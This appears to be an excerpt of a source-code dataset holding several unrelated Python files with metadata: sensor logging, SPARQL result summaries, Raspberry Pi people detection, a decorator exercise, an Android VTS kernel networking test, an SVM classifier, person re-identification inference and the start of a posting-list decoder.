'/Users/Angelo555uk/Desktop/University/Year_4/Project/Results/Sensorlog.csv'\n\nwith open(path, 'w') as csv_file:\n csv_write = csv.writer(csv_file, dialect='excel')\n csv_write.writerows(HEADER)\n csv_write.writerows(np_data_sorted)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "Python/Serial_Test_MultiV2.py", "file_name": "Serial_Test_MultiV2.py", "file_ext": "py", "file_size_in_byte": 2697, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "serial.Serial", "line_number": 21, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 75, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 81, "usage_type": "call"}]} +{"seq_id": "189533869", "text": "#!/usr/bin/env python3\n\nimport json\n\nfor file in ('binaries.json', 'binaries-prange.json',\n 'binaries-newspaper-pdf.json', 'binaries-newspaper-tiff.json'):\n\n c = {}\n\n with open(file, 'r') as fd:\n j = json.load(fd)\n\n for result in j['results']['bindings']:\n subject = result['subject']['value']\n size = int(result['size']['value'])\n\n if subject not in c:\n c[subject] = 0\n\n c[subject] += size\n\n\n l = sorted(c.items(), reverse=True, key=lambda x: x[1])\n\n total = 0\n print(file)\n for subject, size in l[:10]:\n print(subject, size)\n total += size\n print(f'total={total}')\n\n", "sub_path": "fcrepo/binaries.py", "file_name": "binaries.py", "file_ext": "py", "file_size_in_byte": 688, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.load", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "412177926", "text": "# import the necessary packages\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport cv2\nimport numpy as np\n\n# initialize the camera and grab a reference to the raw camera capture\ncamera = PiCamera()\ncamera.rotation = 180\ncamera.resolution = (640, 480)\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size=(640, 480))\n\nhog = cv2.HOGDescriptor()\nhog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n\nout = cv2.VideoWriter(\n 'output.avi',\n cv2.VideoWriter_fourcc(*'MJPG'),\n 15.,\n (640,480))\n# allow the camera to warmup\ntime.sleep(0.1)\n# capture frames from the camera\nfor frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n # grab the raw NumPy array representing the image, then initialize the timestamp\n # and occupied/unoccupied text\n image = frame.array\n gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n\n # detect people in the image\n # returns the bounding boxes for the detected objects\n boxes, weights = hog.detectMultiScale(image, winStride=(8,8) )\n\n boxes = np.array([[x, y, x + w, y + h] for (x, y, w, h) in boxes])\n\n for (xA, yA, xB, yB) in boxes:\n # display the detected boxes in the colour picture\n cv2.rectangle(image, (xA, yA), (xB, yB),\n (0, 255, 0), 2)\n \n # Write the output video \n out.write(image.astype('uint8'))\n # show the frame\n cv2.imshow(\"Frame\", image)\n \n \n \n key = cv2.waitKey(1) & 0xFF\n # clear the stream in preparation for the next frame\n rawCapture.truncate(0)\n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n break\n \ncamera.close()\nout.release()", "sub_path": "drone/RegCamFeed.py", "file_name": "RegCamFeed.py", "file_ext": "py", "file_size_in_byte": 1710, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "picamera.PiCamera", "line_number": 9, "usage_type": "call"}, {"api_name": "picamera.array.PiRGBArray", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.HOGDescriptor", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.HOGDescriptor_getDefaultPeopleDetector", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "517669437", "text": "import functools\nimport time\n\ndef metric(fn):\n @functools.wraps(fn)\n def decorator(*args, **kw):\n t1 = time.time()\n result = fn(*args, **kw)\n t2 = time.time()\n print('%s executed in %s ms' % (fn.__name__, t2-t1))\n return result\n return decorator\n\n@metric\ndef fast(x, y):\n time.sleep(0.0012)\n return x + y;\n\n@metric\ndef slow(x, y, z):\n time.sleep(0.1234)\n return x * y * z;\n\nf = fast(11, 22)\ns = slow(11, 22, 33)\nif f != 33:\n print('测试失败!')\nelif s != 7986:\n print('测试失败!')\n\n\n#-----------------------------------------------\ndef ablog(fn):\n def func2():\n print('before call')\n result = fn()\n print('after call')\n return result\n return func2\n \n@ablog\ndef demod():\n print('I\\'m demod')\n\ndemod()", "sub_path": "decorator.py", "file_name": "decorator.py", "file_ext": "py", "file_size_in_byte": 808, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.time", "line_number": 7, "usage_type": "call"}, {"api_name": "time.time", "line_number": 9, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 5, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "616112163", "text": "#!/usr/bin/env python\n#\n# Copyright (C) 2018 The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport logging\nimport os\n\nfrom vts.runners.host import asserts\nfrom vts.runners.host import base_test\nfrom vts.runners.host import const\nfrom vts.runners.host import keys\nfrom vts.runners.host import test_runner\nfrom vts.utils.python.os import path_utils\n\n\nclass VtsKernelNetTest(base_test.BaseTestClass):\n \"\"\"Host test class to run android kernel unit test.\n\n Attributes:\n dut: AndroidDevice, the device under test.\n shell: AdbProxy, instance of adb shell.\n host_bin_path: string, path to test binary on the host.\n target_bin_path: string, path to test binary on the target.\n \"\"\"\n\n def setUpClass(self):\n required_params = [\n keys.ConfigKeys.IKEY_DATA_FILE_PATH,\n ]\n self.getUserParams(required_params)\n logging.info('%s: %s', keys.ConfigKeys.IKEY_DATA_FILE_PATH,\n self.data_file_path)\n\n self.dut = self.android_devices[0]\n self.shell = self.dut.adb.shell\n\n # 32-bit version of the test should only run against 32-bit kernel;\n # same for 64 bit.\n bin_path = ('nativetest64' if self.dut.is64Bit else 'nativetest',\n 'kernel_net_tests', 'kernel_net_tests')\n\n self.host_bin_path = os.path.join(self.data_file_path, 'DATA', *bin_path)\n self.target_bin_path = path_utils.JoinTargetPath('data', *bin_path)\n\n def tearDownClass(self):\n self.shell('rm -rf %s' % path_utils.TargetDirName(self.target_bin_path))\n\n def testKernelNetworking(self):\n \"\"\"Android kernel unit test.\"\"\"\n # Push the test binary to target device.\n self.shell('mkdir -p %s' % path_utils.TargetDirName(self.target_bin_path))\n self.dut.adb.push('%s %s' % (self.host_bin_path, self.target_bin_path))\n self.shell('chmod 777 %s' % self.target_bin_path)\n\n # Execute the test binary.\n result = self.shell(self.target_bin_path, no_except=True)\n\n logging.info('stdout: %s', result[const.STDOUT])\n logging.error('stderr: %s', result[const.STDERR])\n logging.info('exit code: %s', result[const.EXIT_CODE])\n asserts.assertFalse(\n result[const.EXIT_CODE],\n 'kernel_net_tests binary returned non-zero exit code.')\n\nif __name__ == '__main__':\n test_runner.main()\n", "sub_path": "test/vts-testcase/kernel/api/net/VtsKernelNetTest.py", "file_name": "VtsKernelNetTest.py", "file_ext": "py", "file_size_in_byte": 2918, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "vts.runners.host.base_test.BaseTestClass", "line_number": 29, "usage_type": "attribute"}, {"api_name": "vts.runners.host.base_test", "line_number": 29, "usage_type": "name"}, {"api_name": "vts.runners.host.keys.ConfigKeys", "line_number": 41, "usage_type": "attribute"}, {"api_name": "vts.runners.host.keys", "line_number": 41, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}, {"api_name": "vts.runners.host.keys.ConfigKeys", "line_number": 44, "usage_type": "attribute"}, {"api_name": "vts.runners.host.keys", "line_number": 44, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "vts.utils.python.os.path_utils.JoinTargetPath", "line_number": 56, "usage_type": "call"}, {"api_name": "vts.utils.python.os.path_utils", "line_number": 56, "usage_type": "name"}, {"api_name": "vts.utils.python.os.path_utils.TargetDirName", "line_number": 59, "usage_type": "call"}, {"api_name": "vts.utils.python.os.path_utils", "line_number": 59, "usage_type": "name"}, {"api_name": "vts.utils.python.os.path_utils.TargetDirName", "line_number": 64, "usage_type": "call"}, {"api_name": "vts.utils.python.os.path_utils", "line_number": 64, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 71, "usage_type": "call"}, {"api_name": "vts.runners.host.const.STDOUT", "line_number": 71, "usage_type": "attribute"}, {"api_name": "vts.runners.host.const", "line_number": 71, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 72, "usage_type": "call"}, {"api_name": "vts.runners.host.const.STDERR", "line_number": 72, "usage_type": "attribute"}, {"api_name": "vts.runners.host.const", "line_number": 72, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 73, "usage_type": "call"}, {"api_name": "vts.runners.host.const.EXIT_CODE", "line_number": 73, "usage_type": "attribute"}, {"api_name": "vts.runners.host.const", "line_number": 73, "usage_type": "name"}, {"api_name": "vts.runners.host.asserts.assertFalse", "line_number": 74, "usage_type": "call"}, {"api_name": "vts.runners.host.asserts", "line_number": 74, "usage_type": "name"}, {"api_name": "vts.runners.host.const.EXIT_CODE", "line_number": 75, "usage_type": "attribute"}, {"api_name": "vts.runners.host.const", "line_number": 75, "usage_type": "name"}, {"api_name": "vts.runners.host.test_runner.main", "line_number": 79, "usage_type": "call"}, {"api_name": "vts.runners.host.test_runner", "line_number": 79, "usage_type": "name"}]} +{"seq_id": "324383740", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 2 13:40:11 2017\n\n@author: heisenberg\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef load_dataset():\n global dataset, X, Y\n dataset = pd.read_csv(\"Social_Network_Ads.csv\")\n X = dataset.iloc[:,2:4].values\n Y = dataset.iloc[:,-1].values\n \ndef scale_data():\n global X\n from sklearn.preprocessing import StandardScaler\n sc_x = StandardScaler()\n sc_x.fit(X)\n X=sc_x.transform(X)\n \ndef split_train_test():\n global x_train, x_test, y_test, y_train\n from sklearn.model_selection import train_test_split\n x_train, x_test, y_train, y_test = train_test_split(X, Y, test_size=0.2)\n \ndef create_train_model():\n global classifier\n from sklearn.svm import SVC\n classifier = SVC(kernel = 'linear')\n classifier.fit(x_train,y_train)\n \ndef predict_values():\n global y_pred\n y_pred = classifier.predict(x_test)\n \ndef analyse_confusion_matrix():\n from sklearn.metrics import confusion_matrix\n cm = confusion_matrix(y_test, y_pred)\n print(cm)\n \ndef plot_graph():\n from matplotlib.colors import ListedColormap\n global X1, X2\n x_set, y_set = x_train, y_train\n X1, X2 = np.meshgrid(np.arange(start = min(x_set[:,0])-1, stop = max(x_set[:,1])+1, step = 0.01),\n np.arange(start = min(x_set[:,1])-1, stop = max(x_set[:,1])+1, step = 0.01))\n plt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(),X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red','green')))\n plt.xlim(X1.min(), X1.max())\n plt.ylim(X2.min(), X2.max())\n for i,j in enumerate(np.unique(y_set)):\n plt.scatter(x_set[y_set==j,0], x_set[y_set==j,1], \n c=ListedColormap(('red','green'))(i), label=j)\n plt.title(\"SVM Classification with RBF kernel\")\n plt.xlabel(\"Age\")\n plt.ylabel(\"Salary\")\n plt.legend()\n \nload_dataset()\nscale_data()\nsplit_train_test()\ncreate_train_model()\npredict_values()\nanalyse_confusion_matrix()\nplot_graph()", "sub_path": "SVM classifier/support_vector_classifier.py", "file_name": "support_vector_classifier.py", "file_ext": "py", "file_size_in_byte": 2085, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 34, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}]} +{"seq_id": "273947999", "text": "import torch\nimport os\nimport numpy as np\nimport cv2\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nfrom .config import Config\nfrom .utils.to_sqlite import insert_vector_db, insert_human_db, insert_infer_db, load_gallery_from_db, convertToBinaryData, load_human_db, convertImgtoBlob, convertBlobtoIMG\nfrom .utils.reranking import re_ranking\n\nfrom .model import make_model\nfrom torch.backends import cudnn\nimport torchvision.transforms as T\nfrom .utils.metrics import cosine_similarity, euclidean_distance\nimport pickle\n\n\nclass reid_inference:\n \"\"\"Reid Inference class.\n \"\"\"\n\n def __init__(self):\n cudnn.benchmark = True\n self.Cfg = Config()\n self.model = make_model(self.Cfg, 255)\n self.model.load_param(self.Cfg.TEST_WEIGHT)\n self.model = self.model.to('cuda')\n self.transform = T.Compose([\n T.Resize(self.Cfg.INPUT_SIZE),\n T.ToTensor(),\n T.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ])\n print(f'Model loaded with weight from {self.Cfg.TEST_WEIGHT}')\n self.model.eval()\n print('Ready to Eval')\n print('Loading from DB...')\n self.all_img_id, self.all_patch_img, self.all_gal_feat = load_gallery_from_db() #load from vectorkb_table\n self.human_dict = load_human_db()\n self._tmp_img = \"\"\n self._tmp_galfeat = \"\"\n print('Data loaded. You can start infer an image using to_gallery_feat --> query_feat --> infer')\n \n\n\n def to_gallery_feat(self, image_patch_or_path, flip=True, norm=True):\n \"\"\"\n Use to build gallery feat on images picked from Deep Sort.\n This is different from normal query feature extraction as this has flipped & normed feature,\n to improve the matching precision.\n Takes image path or PIL image directly.\n To be combined with INFER function at the end of troubleshooting\n \"\"\"\n if type(image_patch_or_path) is str:\n query_img = Image.open(image_patch_or_path)\n else:\n query_img = image_patch_or_path\n \n input = torch.unsqueeze(self.transform(query_img), 0)\n input = input.to('cuda')\n with torch.no_grad():\n if flip:\n gal_feat = torch.FloatTensor(input.size(0), 2048).zero_().cuda()\n for i in range(2):\n if i == 1:\n inv_idx = torch.arange(input.size(3) - 1, -1, -1).long().cuda()\n input = input.index_select(3, inv_idx)\n f = self.model(input)\n gal_feat = gal_feat + f\n else:\n gal_feat = self.model(input)\n\n if norm:\n gal_feat = torch.nn.functional.normalize(gal_feat, dim=1, p=2)\n\n self._tmp_img = query_img #temp save PIL image here\n self._tmp_galfeat = gal_feat #temp save gal_feat here\n return gal_feat\n\n\n\n\n def to_query_feat(self, image_patch_or_path):\n \"\"\"\n image - input image path.\n for finding query feature, no flipping and normalization is done.\n This function returns feature (1,2048) tensor.\n\n \"\"\"\n if type(image_patch_or_path) is str:\n query_img = Image.open(image_patch_or_path)\n else:\n query_img = image_patch_or_path\n\n input = torch.unsqueeze(self.transform(query_img), 0)\n input = input.to('cuda')\n with torch.no_grad():\n query_feat = self.model(input)\n return query_feat\n\n\n\n def infer(self, query_feat, query_img_id, top_k= 3, reranking=True):\n if len(self.all_gal_feat)>0:\n # if reranking:\n # dist_mat = 1 - re_ranking(query_feat, self.all_gal_feat, k1=30, k2=10, lambda_value=0.2)[0]\n # indices = np.argsort(dist_mat)[::-1]\n\n # else:\n dist_mat = torch.nn.functional.cosine_similarity(query_feat, self.all_gal_feat).cpu().numpy()\n indices = np.argsort(dist_mat)[::-1][:50] #to test if use 50 or use all better\n\n #do reranking\n if reranking:\n candidate_gal_feat = torch.index_select(self.all_gal_feat, 0, torch.tensor([indices]).cuda()[0])\n rerank_dist = re_ranking(query_feat, candidate_gal_feat, k1=30, k2=6, lambda_value=0.3)[0]\n rerank_idx = np.argsort(1-rerank_dist)[::-1]\n indices = np.array([indices[i] for i in rerank_idx])\n \n #if match found --> insert to human_table, need a human list too. make it into class\n #if no match found --> insert new identity to human_table.\n if dist_mat[indices[0]] >= self.Cfg.THRESHOLD:\n\n \n #match found\n matched_img_id = self.all_img_id[indices[0]]\n identity = self.human_dict[matched_img_id]\n print(f\"Match found! Identity is {identity}\")\n\n #insert to human_table & dict\n insert_human_db(query_img_id, identity, \"Matched\")\n self.human_dict[query_img_id] = identity\n\n #insert query image to gallery table & list. Recalling we have self.tmp variables\n query_img_blob = convertImgtoBlob(self._tmp_img)\n insert_vector_db(query_img_id, query_img_blob, pickle.dumps(self._tmp_galfeat) ) \n\n #insert to record table\n record = [query_img_id , query_img_blob]\n for k in range(top_k):\n try:\n record.append(self.all_img_id[indices[k]])\n record.append(convertImgtoBlob(self.all_patch_img[indices[k]]))\n record.append(dist_mat.item(indices[k]))\n except:\n record.append(None)\n record.append(None)\n record.append(None)\n insert_infer_db(record)\n\n\n elif (len(indices)>= 2) and (dist_mat[indices[1]] >= 0.75):\n #match found\n matched_img_id = self.all_img_id[indices[1]]\n identity = self.human_dict[matched_img_id]\n print(f\"Match found! Identity is {identity} --> SECOND MATCH\")\n\n #insert to human_table & dict\n insert_human_db(query_img_id, identity, \"Matched\")\n self.human_dict[query_img_id] = identity\n\n #insert query image to gallery table & list. Recalling we have self.tmp variables\n query_img_blob = convertImgtoBlob(self._tmp_img)\n insert_vector_db(query_img_id, query_img_blob, pickle.dumps(self._tmp_galfeat) ) \n\n #insert to record table\n record = [query_img_id , query_img_blob]\n for k in range(top_k):\n try:\n record.append(self.all_img_id[indices[k+1]])\n record.append(convertImgtoBlob(self.all_patch_img[indices[k+1]]))\n record.append(dist_mat.item(indices[k+1]))\n except:\n record.append(None)\n record.append(None)\n record.append(None)\n insert_infer_db(record)\n\n else:\n #no match found\n new_identity = str(max(map(int, self.human_dict.values()))+1)\n print(f\"No match found! Creating new identity -- {new_identity}\")\n\n #insert to human_table & dict\n insert_human_db(query_img_id, new_identity, \"New\")\n self.human_dict[query_img_id] = new_identity\n\n #insert query image to gallery table & list. Recalling we have self.tmp variables\n query_img_blob = convertImgtoBlob(self._tmp_img)\n insert_vector_db(query_img_id, query_img_blob, pickle.dumps(self._tmp_galfeat) ) \n\n #insert to record table\n record = [query_img_id , query_img_blob]\n for k in range(top_k):\n record.append(None)\n try:\n record.append(convertImgtoBlob(self.all_patch_img[indices[k]]))\n record.append(dist_mat.item(indices[k]))\n except:\n record.append(None)\n record.append(None)\n insert_infer_db(record)\n\n #Putting these records into memory database\n self.all_img_id.append(query_img_id)\n self.all_patch_img.append(self._tmp_img)\n self.all_gal_feat = torch.cat([self.all_gal_feat, self._tmp_galfeat])\n\n \n else:\n #new record\n new_identity = str(1)\n print(f\"No match found! Creating new identity -- {new_identity}\")\n\n #insert to human_table & dict\n insert_human_db(query_img_id, new_identity, \"New\")\n self.human_dict[query_img_id] = new_identity\n\n #insert query image to gallery table & list. Recalling we have self.tmp variables\n query_img_blob = convertImgtoBlob(self._tmp_img)\n insert_vector_db(query_img_id, query_img_blob, pickle.dumps(self._tmp_galfeat) ) \n\n #insert to record table\n record = [query_img_id , query_img_blob]\n for k in range(top_k):\n record.append(None)\n record.append(None)\n record.append(None)\n insert_infer_db(record)\n\n #Putting these records into memory database\n self.all_img_id.append(query_img_id)\n self.all_patch_img.append(self._tmp_img)\n self.all_gal_feat = torch.cat([self.all_gal_feat, self._tmp_galfeat])\n\n\n\n\n\n\n\n \n # def build_all_gallery(dir_to_gal_folder = self.Cfg.GALLERY_DIR, to_db = False):\n # \"\"\"\n # TAKE NOTEE!! TO BE MODIFIED AS WE NO LONGER NEED TO MASS UPLOAD FROM\n # IMG FILE TO GALLERY DB.\n # \"\"\"\n # all_gal_feat = []\n # all_img_id = os.listdir(dir_to_gal_folder) #this is id rather than path\n\n # db_feat = []\n # db_img = []\n\n # print(f'Building gallery from {dir_to_gal_folder}...')\n # for img in all_img_id:\n # gal_feat = to_gallery_feat(dir_to_gal_folder + \"/\" + img)\n # all_gal_feat.append(gal_feat)\n # db_feat.append(pickle.dumps(gal_feat))\n # db_img.append(convertToBinaryData(dir_to_gal_folder + \"/\" + img))\n\n # all_gal_feat = torch.cat(all_gal_feat, dim=0)\n\n # if to_db:\n # db_img_path = [dir_to_gal_folder + \"/\" + img for img in all_img_id]\n # db_humam_id = [img.split('_')[0] for img in all_img_id]\n # insert_vector_db(all_img_id, db_img_path, db_img, db_feat)\n # insert_human_db(all_img_id, db_humam_id)\n # print('All gallery uploaded to DB.')\n # else:\n # return all_gal_feat, all_img_id\n\n # UNSUPPORTED\n # plt.subplot(1, top_k+2, 1)\n # plt.title('Query')\n # plt.axis('off')\n # query_img = Image.open(query_img_path)\n # plt.imshow(np.asarray(query_img))\n\n # for k in range(top_k):\n # plt.subplot(1, top_k+2, k+3)\n # name = str(indices[k]) + '\\n' + '{0:.2f}'.format(dist_mat[indices[k]])\n # img = np.asarray(Image.open(self.all_img_path[indices[k]]))\n # plt.title(name)\n # plt.axis('off')\n # plt.imshow(img)\n # plt.show()", "sub_path": "human_tracker/reid/inference.py", "file_name": "inference.py", "file_ext": "py", "file_size_in_byte": 11717, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.backends.cudnn.benchmark", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 23, "usage_type": "name"}, {"api_name": "config.Config", "line_number": 24, "usage_type": "call"}, {"api_name": "model.make_model", "line_number": 25, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 28, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 28, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 29, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 29, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 30, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 30, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 31, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 31, "usage_type": "name"}, {"api_name": "utils.to_sqlite.load_gallery_from_db", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.to_sqlite.load_human_db", "line_number": 38, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 54, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.unsqueeze", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 90, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.unsqueeze", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn.functional.cosine_similarity", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.index_select", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 114, "usage_type": "call"}, {"api_name": "utils.reranking.re_ranking", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_human_db", "line_number": 130, "usage_type": "call"}, {"api_name": "utils.to_sqlite.convertImgtoBlob", "line_number": 134, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_vector_db", "line_number": 135, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 135, "usage_type": "call"}, {"api_name": "utils.to_sqlite.convertImgtoBlob", "line_number": 142, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_infer_db", "line_number": 148, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_human_db", "line_number": 158, "usage_type": "call"}, {"api_name": "utils.to_sqlite.convertImgtoBlob", "line_number": 162, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_vector_db", "line_number": 163, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 163, "usage_type": "call"}, {"api_name": "utils.to_sqlite.convertImgtoBlob", "line_number": 170, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_infer_db", "line_number": 176, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_human_db", "line_number": 184, "usage_type": "call"}, {"api_name": "utils.to_sqlite.convertImgtoBlob", "line_number": 188, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_vector_db", "line_number": 189, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 189, "usage_type": "call"}, {"api_name": "utils.to_sqlite.convertImgtoBlob", "line_number": 196, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_infer_db", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 206, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_human_db", "line_number": 215, "usage_type": "call"}, {"api_name": "utils.to_sqlite.convertImgtoBlob", "line_number": 219, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_vector_db", "line_number": 220, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 220, "usage_type": "call"}, {"api_name": "utils.to_sqlite.insert_infer_db", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 233, "usage_type": "call"}]} +{"seq_id": "326427768", "text": "from bs4 import BeautifulSoup\nfrom PorterStemmer import PorterStemmer\nfrom collections import defaultdict\nimport snappy\nimport sys\nimport json\nimport re\nimport os\nimport string\nimport time\n\ndef c5_decode(x):\n pl=[]\n i = 0\n b = 0\n k = 0\n while(True):\n byte = x[i:i+8]\n readByte = int(byte, 2)\n i+=8\n if(readByte<128):\n b = b*128 + readByte\n break\n else:\n b = b*128 + (readByte-128)\n while(True):\n byte = x[i:i+8]\n readByte = int(byte, 2)\n i+=8\n if(readByte<128):\n k = k*128 + readByte\n break\n else:\n k = k*128 + (readByte-128)\n if(k==2):\n return pl\n 